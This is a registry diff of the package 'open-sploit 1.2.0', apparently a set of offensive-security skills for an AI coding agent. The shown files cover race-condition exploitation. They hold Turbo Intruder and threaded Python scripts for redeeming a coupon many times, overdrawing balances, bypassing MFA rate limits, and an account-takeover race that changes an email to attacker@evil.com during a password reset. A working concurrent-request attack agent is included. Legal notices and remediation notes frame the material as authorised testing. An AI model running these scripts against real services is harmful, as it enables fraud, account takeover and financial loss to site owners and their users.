open-sploit 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +75 -0
- package/bin/install.mjs +158 -0
- package/package.json +27 -0
- package/template/agent/offsec.md +53 -0
- package/template/command/target.md +45 -0
- package/template/config/opencode.example.json +46 -0
- package/template/skills/api-security-testing/SKILL.md +61 -0
- package/template/skills/conducting-api-security-testing/LICENSE +201 -0
- package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
- package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
- package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
- package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
- package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
- package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
- package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
- package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
- package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
- package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
- package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
- package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
- package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
- package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
- package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
- package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
- package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
- package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
- package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
- package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
- package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
- package/template/skills/hackerone/SKILL.md +137 -0
- package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
- package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
- package/template/skills/hackerone/tools/__init__.py +0 -0
- package/template/skills/hackerone/tools/csv_parser.py +185 -0
- package/template/skills/hackerone/tools/report_validator.py +285 -0
- package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
- package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
- package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
|
@@ -0,0 +1,246 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: exploiting-race-condition-vulnerabilities
|
|
3
|
+
description: Detect and exploit race condition vulnerabilities in web applications
|
|
4
|
+
using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate
|
|
5
|
+
transactions, and exploit time-of-check-to-time-of-use flaws.
|
|
6
|
+
domain: cybersecurity
|
|
7
|
+
subdomain: web-application-security
|
|
8
|
+
tags:
|
|
9
|
+
- race-condition
|
|
10
|
+
- turbo-intruder
|
|
11
|
+
- toctou
|
|
12
|
+
- concurrency
|
|
13
|
+
- single-packet-attack
|
|
14
|
+
- limit-overrun
|
|
15
|
+
- burp-suite
|
|
16
|
+
version: '1.0'
|
|
17
|
+
author: mahipal
|
|
18
|
+
license: Apache-2.0
|
|
19
|
+
nist_csf:
|
|
20
|
+
- PR.PS-01
|
|
21
|
+
- ID.RA-01
|
|
22
|
+
- PR.DS-10
|
|
23
|
+
- DE.CM-01
|
|
24
|
+
mitre_attack:
|
|
25
|
+
- T1190
|
|
26
|
+
- T1059.007
|
|
27
|
+
- T1505.003
|
|
28
|
+
- T1083
|
|
29
|
+
- T1027
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
# Exploiting Race Condition Vulnerabilities
|
|
33
|
+
|
|
34
|
+
## When to Use
|
|
35
|
+
- When testing applications with transaction-based functionality (payments, transfers, coupons)
|
|
36
|
+
- During assessment of rate-limiting or attempt-limiting mechanisms
|
|
37
|
+
- When testing multi-step workflows (registration, password reset, MFA)
|
|
38
|
+
- During bug bounty hunting for logic flaws in state-changing operations
|
|
39
|
+
- When evaluating applications with inventory or balance management systems
|
|
40
|
+
|
|
41
|
+
## Prerequisites
|
|
42
|
+
- Burp Suite Professional with Turbo Intruder extension installed
|
|
43
|
+
- Understanding of HTTP/2 single-packet attack technique
|
|
44
|
+
- Python scripting ability for custom Turbo Intruder scripts
|
|
45
|
+
- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities
|
|
46
|
+
- Target application with state-changing operations (purchases, votes, transfers)
|
|
47
|
+
- Multiple user accounts for testing cross-user race conditions
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
|
|
51
|
+
|
|
52
|
+
## Workflow
|
|
53
|
+
|
|
54
|
+
### Step 1 — Identify Race Condition Attack Surface
|
|
55
|
+
```
|
|
56
|
+
# Common race condition targets:
|
|
57
|
+
# - Coupon/discount code redemption (limit: 1 per user)
|
|
58
|
+
# - Account balance transfers
|
|
59
|
+
# - Inventory purchase (limited stock)
|
|
60
|
+
# - Rate-limited operations (login attempts, SMS verification)
|
|
61
|
+
# - Multi-step workflows (email change + password reset)
|
|
62
|
+
# - File upload + processing pipelines
|
|
63
|
+
|
|
64
|
+
# Capture the target request in Burp Suite
|
|
65
|
+
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### Step 2 — Configure Single-Packet Attack in Turbo Intruder
|
|
69
|
+
```python
|
|
70
|
+
# Turbo Intruder script for single-packet race condition
|
|
71
|
+
# This sends all requests simultaneously in one TCP packet
|
|
72
|
+
|
|
73
|
+
def queueRequests(target, wordlists):
|
|
74
|
+
engine = RequestEngine(endpoint=target.endpoint,
|
|
75
|
+
concurrentConnections=1,
|
|
76
|
+
engine=Engine.BURP2)
|
|
77
|
+
|
|
78
|
+
# Queue 20 identical requests for the same operation
|
|
79
|
+
for i in range(20):
|
|
80
|
+
engine.queue(target.req, gate='race1')
|
|
81
|
+
|
|
82
|
+
# Hold all requests until ready
|
|
83
|
+
engine.openGate('race1')
|
|
84
|
+
|
|
85
|
+
def handleResponse(req, interesting):
|
|
86
|
+
table.add(req)
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
### Step 3 — Execute Limit Overrun Attack
|
|
90
|
+
```python
|
|
91
|
+
# Turbo Intruder script for coupon/discount limit bypass
|
|
92
|
+
def queueRequests(target, wordlists):
|
|
93
|
+
engine = RequestEngine(endpoint=target.endpoint,
|
|
94
|
+
concurrentConnections=1,
|
|
95
|
+
requestsPerConnection=50,
|
|
96
|
+
engine=Engine.BURP2)
|
|
97
|
+
|
|
98
|
+
# Send 50 coupon redemption requests simultaneously
|
|
99
|
+
for i in range(50):
|
|
100
|
+
engine.queue(target.req, gate='coupon_race')
|
|
101
|
+
|
|
102
|
+
engine.openGate('coupon_race')
|
|
103
|
+
|
|
104
|
+
def handleResponse(req, interesting):
|
|
105
|
+
# Flag successful redemptions (200 OK)
|
|
106
|
+
if req.status == 200:
|
|
107
|
+
table.add(req)
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### Step 4 — Exploit Multi-Endpoint Race Conditions
|
|
111
|
+
```python
|
|
112
|
+
# Race condition between two different endpoints
|
|
113
|
+
# Example: Change email + trigger password reset simultaneously
|
|
114
|
+
def queueRequests(target, wordlists):
|
|
115
|
+
engine = RequestEngine(endpoint=target.endpoint,
|
|
116
|
+
concurrentConnections=1,
|
|
117
|
+
engine=Engine.BURP2)
|
|
118
|
+
|
|
119
|
+
# Request 1: Change email to attacker@evil.com
|
|
120
|
+
email_change = '''POST /api/change-email HTTP/2
|
|
121
|
+
Host: target.com
|
|
122
|
+
Cookie: session=VALID_SESSION
|
|
123
|
+
Content-Type: application/json
|
|
124
|
+
|
|
125
|
+
{"email":"attacker@evil.com"}'''
|
|
126
|
+
|
|
127
|
+
# Request 2: Trigger password reset (goes to original email)
|
|
128
|
+
password_reset = '''POST /api/reset-password HTTP/2
|
|
129
|
+
Host: target.com
|
|
130
|
+
Content-Type: application/json
|
|
131
|
+
|
|
132
|
+
{"email":"victim@target.com"}'''
|
|
133
|
+
|
|
134
|
+
engine.queue(email_change, gate='race1')
|
|
135
|
+
engine.queue(password_reset, gate='race1')
|
|
136
|
+
|
|
137
|
+
engine.openGate('race1')
|
|
138
|
+
|
|
139
|
+
def handleResponse(req, interesting):
|
|
140
|
+
table.add(req)
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
### Step 5 — Test with Python Threading Alternative
|
|
144
|
+
```python
|
|
145
|
+
import threading
|
|
146
|
+
import requests
|
|
147
|
+
|
|
148
|
+
TARGET_URL = "http://target.com/api/redeem-coupon"
|
|
149
|
+
COUPON_CODE = "DISCOUNT50"
|
|
150
|
+
SESSION_COOKIE = "session=abc123"
|
|
151
|
+
|
|
152
|
+
def send_request():
|
|
153
|
+
response = requests.post(
|
|
154
|
+
TARGET_URL,
|
|
155
|
+
json={"coupon": COUPON_CODE},
|
|
156
|
+
headers={"Cookie": SESSION_COOKIE},
|
|
157
|
+
timeout=10
|
|
158
|
+
)
|
|
159
|
+
print(f"Status: {response.status_code}, Response: {response.text[:100]}")
|
|
160
|
+
|
|
161
|
+
# Create barrier to synchronize thread start
|
|
162
|
+
barrier = threading.Barrier(20)
|
|
163
|
+
|
|
164
|
+
def synchronized_request():
|
|
165
|
+
barrier.wait() # All threads wait here, then start together
|
|
166
|
+
send_request()
|
|
167
|
+
|
|
168
|
+
threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
|
|
169
|
+
for t in threads:
|
|
170
|
+
t.start()
|
|
171
|
+
for t in threads:
|
|
172
|
+
t.join()
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
### Step 6 — Analyze Results and Confirm Exploitation
|
|
176
|
+
```
|
|
177
|
+
# In Turbo Intruder results:
|
|
178
|
+
# - Sort by status code to identify successful requests
|
|
179
|
+
# - Compare response lengths to find anomalies
|
|
180
|
+
# - Check if more than one request succeeded (limit overrun confirmed)
|
|
181
|
+
# - Verify backend state (balance, inventory, coupon count)
|
|
182
|
+
|
|
183
|
+
# Document the race window timing
|
|
184
|
+
# Successful race conditions typically require:
|
|
185
|
+
# - HTTP/2 single-packet attack: ~30 seconds to find
|
|
186
|
+
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
|
|
187
|
+
# - Thread-based approach: Variable, less reliable
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
## Key Concepts
|
|
191
|
+
|
|
192
|
+
| Concept | Description |
|
|
193
|
+
|---------|-------------|
|
|
194
|
+
| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |
|
|
195
|
+
| Single-Packet Attack | Sending multiple HTTP/2 requests in one TCP packet for precise synchronization |
|
|
196
|
+
| Last-Byte Sync | HTTP/1.1 technique holding final byte of multiple requests then releasing simultaneously |
|
|
197
|
+
| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |
|
|
198
|
+
| Hidden State Machine | Exploiting transitional states in multi-step application workflows |
|
|
199
|
+
| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |
|
|
200
|
+
| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |
|
|
201
|
+
|
|
202
|
+
## Tools & Systems
|
|
203
|
+
|
|
204
|
+
| Tool | Purpose |
|
|
205
|
+
|------|---------|
|
|
206
|
+
| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |
|
|
207
|
+
| Burp Suite Repeater | Group send feature for basic race condition testing |
|
|
208
|
+
| Nuclei | Template-based scanner with race condition detection templates |
|
|
209
|
+
| Python threading | Custom multi-threaded race condition scripts |
|
|
210
|
+
| racepwn | Dedicated race condition testing framework |
|
|
211
|
+
| asyncio/aiohttp | Python async HTTP for concurrent request sending |
|
|
212
|
+
|
|
213
|
+
## Common Scenarios
|
|
214
|
+
|
|
215
|
+
1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used
|
|
216
|
+
2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check
|
|
217
|
+
3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts
|
|
218
|
+
4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic
|
|
219
|
+
5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests
|
|
220
|
+
|
|
221
|
+
## Output Format
|
|
222
|
+
|
|
223
|
+
```
|
|
224
|
+
## Race Condition Assessment Report
|
|
225
|
+
- **Target**: http://target.com/api/redeem-coupon
|
|
226
|
+
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
|
|
227
|
+
- **Concurrent Requests**: 20
|
|
228
|
+
- **Successful Exploitations**: 4 out of 20
|
|
229
|
+
|
|
230
|
+
### Findings
|
|
231
|
+
| # | Endpoint | Operation | Expected | Actual | Severity |
|
|
232
|
+
|---|----------|-----------|----------|--------|----------|
|
|
233
|
+
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
|
|
234
|
+
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |
|
|
235
|
+
|
|
236
|
+
### Race Window Analysis
|
|
237
|
+
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
|
|
238
|
+
- Success rate: ~20% per batch of 20 requests
|
|
239
|
+
- Race window estimated: 50-100ms
|
|
240
|
+
|
|
241
|
+
### Remediation
|
|
242
|
+
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
|
|
243
|
+
- Use optimistic concurrency control with version numbers
|
|
244
|
+
- Apply idempotency keys for state-changing requests
|
|
245
|
+
- Implement distributed locks for multi-server environments
|
|
246
|
+
```
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
# API Reference: Race Condition Vulnerability Testing
|
|
2
|
+
|
|
3
|
+
## Types of Race Conditions
|
|
4
|
+
|
|
5
|
+
| Type | Description | Example |
|
|
6
|
+
|------|-------------|---------|
|
|
7
|
+
| TOCTOU | Time-of-check to time-of-use | Balance check then debit |
|
|
8
|
+
| Double-spend | Multiple withdrawals before balance update | Gift card reuse |
|
|
9
|
+
| Limit bypass | Concurrent requests bypass rate limits | Coupon reuse |
|
|
10
|
+
| State mutation | Concurrent writes corrupt state | Inventory overselling |
|
|
11
|
+
|
|
12
|
+
## Python Threading for Concurrent Requests
|
|
13
|
+
|
|
14
|
+
### Barrier Synchronization
|
|
15
|
+
```python
|
|
16
|
+
import threading
|
|
17
|
+
barrier = threading.Barrier(10)
|
|
18
|
+
|
|
19
|
+
def worker():
|
|
20
|
+
barrier.wait() # All threads release simultaneously
|
|
21
|
+
requests.post(url, json=data)
|
|
22
|
+
|
|
23
|
+
threads = [threading.Thread(target=worker) for _ in range(10)]
|
|
24
|
+
for t in threads: t.start()
|
|
25
|
+
for t in threads: t.join()
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
## Turbo Intruder (Burp Suite)
|
|
29
|
+
|
|
30
|
+
### Race Condition Script
|
|
31
|
+
```python
|
|
32
|
+
def queueRequests(target, wordlists):
|
|
33
|
+
engine = RequestEngine(endpoint=target.endpoint,
|
|
34
|
+
concurrentConnections=30,
|
|
35
|
+
requestsPerConnection=100,
|
|
36
|
+
pipeline=False)
|
|
37
|
+
for i in range(30):
|
|
38
|
+
engine.queue(target.req)
|
|
39
|
+
|
|
40
|
+
def handleResponse(req, interesting):
|
|
41
|
+
table.add(req)
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
## HTTP/2 Single-Packet Attack
|
|
45
|
+
|
|
46
|
+
### Concept
|
|
47
|
+
Send multiple requests in a single TCP packet using HTTP/2 multiplexing
|
|
48
|
+
to eliminate network jitter and maximize race window.
|
|
49
|
+
|
|
50
|
+
### curl Example
|
|
51
|
+
```bash
|
|
52
|
+
# Send 10 requests simultaneously via HTTP/2
|
|
53
|
+
for i in $(seq 1 10); do
|
|
54
|
+
curl -X POST https://target/api/redeem \
|
|
55
|
+
-H "Content-Type: application/json" \
|
|
56
|
+
-d '{"coupon": "SAVE50"}' &
|
|
57
|
+
done
|
|
58
|
+
wait
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
## Analysis Indicators
|
|
62
|
+
|
|
63
|
+
| Indicator | Meaning |
|
|
64
|
+
|-----------|---------|
|
|
65
|
+
| Multiple 200 responses | Operation executed multiple times |
|
|
66
|
+
| Different response bodies | State changed between requests |
|
|
67
|
+
| Mixed status codes | Inconsistent handling |
|
|
68
|
+
|
|
69
|
+
## Common Vulnerable Operations
|
|
70
|
+
|
|
71
|
+
| Operation | Impact |
|
|
72
|
+
|-----------|--------|
|
|
73
|
+
| Coupon/voucher redemption | Financial loss |
|
|
74
|
+
| Money transfer | Double-spend |
|
|
75
|
+
| Like/vote submission | Manipulation |
|
|
76
|
+
| Account creation | Duplicate accounts |
|
|
77
|
+
| File upload | Overwrite race |
|
|
78
|
+
|
|
79
|
+
## Remediation
|
|
80
|
+
1. Use database-level locking (`SELECT ... FOR UPDATE`)
|
|
81
|
+
2. Implement idempotency keys
|
|
82
|
+
3. Use atomic operations (e.g., `UPDATE balance = balance - X WHERE balance >= X`)
|
|
83
|
+
4. Apply distributed locks (Redis SETNX)
|
|
84
|
+
5. Implement optimistic concurrency (version fields)
|
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""Agent for testing race condition (TOCTOU) vulnerabilities in web applications."""
|
|
3
|
+
|
|
4
|
+
import argparse
|
|
5
|
+
import json
|
|
6
|
+
import threading
|
|
7
|
+
from datetime import datetime, timezone
|
|
8
|
+
|
|
9
|
+
try:
|
|
10
|
+
import requests
|
|
11
|
+
HAS_REQUESTS = True
|
|
12
|
+
except ImportError:
|
|
13
|
+
HAS_REQUESTS = False
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
def send_concurrent_requests(url, method, data, headers, count, results_list):
|
|
17
|
+
"""Send multiple identical requests concurrently to trigger race conditions."""
|
|
18
|
+
if not HAS_REQUESTS:
|
|
19
|
+
return
|
|
20
|
+
barrier = threading.Barrier(count)
|
|
21
|
+
|
|
22
|
+
def worker(idx):
|
|
23
|
+
try:
|
|
24
|
+
barrier.wait(timeout=5)
|
|
25
|
+
if method == "POST":
|
|
26
|
+
resp = requests.post(url, json=data, headers=headers, timeout=15, verify=False)
|
|
27
|
+
elif method == "PUT":
|
|
28
|
+
resp = requests.put(url, json=data, headers=headers, timeout=15, verify=False)
|
|
29
|
+
else:
|
|
30
|
+
resp = requests.get(url, headers=headers, timeout=15, verify=False)
|
|
31
|
+
results_list.append({
|
|
32
|
+
"thread": idx,
|
|
33
|
+
"status_code": resp.status_code,
|
|
34
|
+
"response_length": len(resp.content),
|
|
35
|
+
"response_preview": resp.text[:200],
|
|
36
|
+
"elapsed": resp.elapsed.total_seconds(),
|
|
37
|
+
})
|
|
38
|
+
except Exception as e:
|
|
39
|
+
results_list.append({"thread": idx, "error": str(e)[:100]})
|
|
40
|
+
|
|
41
|
+
threads = []
|
|
42
|
+
for i in range(count):
|
|
43
|
+
t = threading.Thread(target=worker, args=(i,))
|
|
44
|
+
threads.append(t)
|
|
45
|
+
t.start()
|
|
46
|
+
for t in threads:
|
|
47
|
+
t.join(timeout=20)
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
def analyze_results(results):
|
|
51
|
+
"""Analyze concurrent request results for race condition indicators."""
|
|
52
|
+
indicators = []
|
|
53
|
+
success_count = sum(1 for r in results if r.get("status_code") == 200)
|
|
54
|
+
if success_count > 1:
|
|
55
|
+
indicators.append(f"{success_count} successful responses (expected 1 for idempotent operations)")
|
|
56
|
+
|
|
57
|
+
response_bodies = [r.get("response_preview", "") for r in results if r.get("status_code") == 200]
|
|
58
|
+
unique_bodies = set(response_bodies)
|
|
59
|
+
if len(unique_bodies) > 1:
|
|
60
|
+
indicators.append(f"Different response bodies across concurrent requests: {len(unique_bodies)} unique")
|
|
61
|
+
|
|
62
|
+
status_codes = [r.get("status_code") for r in results if r.get("status_code")]
|
|
63
|
+
if len(set(status_codes)) > 1:
|
|
64
|
+
indicators.append(f"Mixed status codes: {set(status_codes)}")
|
|
65
|
+
|
|
66
|
+
return indicators
|
|
67
|
+
|
|
68
|
+
|
|
69
|
+
def test_race_condition(url, method, data, token, concurrency):
|
|
70
|
+
"""Execute race condition test."""
|
|
71
|
+
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
|
72
|
+
headers["Content-Type"] = "application/json"
|
|
73
|
+
results = []
|
|
74
|
+
send_concurrent_requests(url, method, data, headers, concurrency, results)
|
|
75
|
+
indicators = analyze_results(results)
|
|
76
|
+
return {
|
|
77
|
+
"url": url,
|
|
78
|
+
"method": method,
|
|
79
|
+
"concurrency": concurrency,
|
|
80
|
+
"responses": results,
|
|
81
|
+
"race_indicators": indicators,
|
|
82
|
+
"potential_race": len(indicators) > 0,
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
|
|
86
|
+
def main():
|
|
87
|
+
parser = argparse.ArgumentParser(
|
|
88
|
+
description="Test race condition vulnerabilities (authorized testing only)"
|
|
89
|
+
)
|
|
90
|
+
parser.add_argument("--url", required=True, help="Target URL")
|
|
91
|
+
parser.add_argument("--method", default="POST", choices=["GET", "POST", "PUT"])
|
|
92
|
+
parser.add_argument("--data", default="{}", help="JSON payload")
|
|
93
|
+
parser.add_argument("--token", help="Bearer token")
|
|
94
|
+
parser.add_argument("--concurrency", type=int, default=10, help="Concurrent requests")
|
|
95
|
+
parser.add_argument("--output", "-o", help="Output JSON report")
|
|
96
|
+
args = parser.parse_args()
|
|
97
|
+
|
|
98
|
+
print("[*] Race Condition Testing Agent")
|
|
99
|
+
print("[!] For authorized security testing only")
|
|
100
|
+
data = json.loads(args.data)
|
|
101
|
+
result = test_race_condition(args.url, args.method, data, args.token, args.concurrency)
|
|
102
|
+
|
|
103
|
+
report = {
|
|
104
|
+
"timestamp": datetime.now(timezone.utc).isoformat(),
|
|
105
|
+
"test_result": result,
|
|
106
|
+
"risk_level": "HIGH" if result["potential_race"] else "LOW",
|
|
107
|
+
}
|
|
108
|
+
print(f"[*] Race condition detected: {result['potential_race']}")
|
|
109
|
+
|
|
110
|
+
if args.output:
|
|
111
|
+
with open(args.output, "w") as f:
|
|
112
|
+
json.dump(report, f, indent=2)
|
|
113
|
+
print(f"[*] Report saved to {args.output}")
|
|
114
|
+
else:
|
|
115
|
+
print(json.dumps(report, indent=2))
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
if __name__ == "__main__":
|
|
119
|
+
main()
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to the Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by the Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
